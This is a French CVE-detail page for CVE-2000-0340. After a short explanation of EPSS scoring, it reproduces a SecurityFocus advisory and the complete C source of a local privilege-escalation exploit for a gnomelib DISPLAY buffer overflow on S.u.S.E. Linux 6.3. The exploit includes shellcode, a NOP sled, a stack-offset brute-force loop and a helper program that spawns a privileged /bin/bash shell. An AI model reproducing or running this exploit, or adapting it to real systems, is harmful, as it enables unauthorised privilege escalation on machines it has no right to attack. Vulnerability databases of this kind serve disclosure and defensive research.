CVE-2000-0340 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

// source: https://www.securityfocus.com/bid/1155/info A vulnerability exists in the handling of the DISPLAY variable, in versions of Gnomelib shipped with S.u.S.E. Linux, version 6.3. By supplying a long buffer containing machine executable code in the DISPLAY environment variable, it is possible to execute arbitrary code with the permissions of the user running the binary. In the case of a setuid binary, it is possible to obtain the privileges of the user it is setuid to. This in turn may be used to elevate privileges, and in theory could result in local root compromise. S.u.S.E. 6.3 ships with 1 setgid application, /opt/gnome/sbin/gnome-pty-helper, which is setgid tty. 6.4 ships with setgid gnome games. The version of gnomelib included with S.u.S.E. 6.4 is not vulnerable to this attack, however. /* Gnomelib exploit by bladi & aLmUDeNa All gnome apps have an exploitable buffer overflow (gnomelib) when get DISPLAY environment variable. Affected: S.u.S.E Linux: 6.3 Not vulnerable: RedHat 6.x Linpus Linux release 6.3 Debian NoTe: don't forget to put 6M in /tmp ---------(6M.c)--------- void main() { setuid(geteuid()); setregid(getegid(), getegid()); system("/bin/bash"); } ---------(6M.c)--------- Bueno un saludo a todos los que nos conocen/quieren/odian, bueno ya llevamos 6 meses y esperamos que dure mucho mas ;* bladi@euskalnet.net almudena@hempcultivation.com */ #include <stdio.h> #include <stdlib.h> #define NOP 0x90 #define RANFROM -1400 #define RANTO -300 int i,x; char *ptr; unsigned long *ptr2; char execshell[] = "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f" "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd" "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/tmp/6M"; char buffer[164]; main(int argc, char *argv[]) { long get_sp(void) { __asm__("movl %esp,%eax\n"); } printf (" jpuff ver: 1.0 \n"); printf (" by \n"); printf (" bladi & aLmUDeNa\n\n"); if (argc < 2 ) { printf(" Usage ./jpuff <gnome app>\n"); printf(" Try: ./jpuff /opt/gnome/bin/sol => you gain gid=40(game)\n"); exit(1); } for (x=RANFROM;x<RANTO;x=13+x) { for(i=0;i<164;i++) buffer[i]=0x00; ptr=buffer; for(i=0;i<22;i++) *(ptr++)=NOP; for(i=0;i<strlen(execshell);i++) *(ptr++)=execshell[i]; ptr2=(long *)ptr; for(i=0;i<20;i++) *(ptr2++)=get_sp()+x; setenv("DISPLAY",buffer,1); system(argv[1]); } printf("\n- --( ExPLoIT DoNE )-- -\n"); printf("Have a lot of fun... ;*\n\n"); return 0; }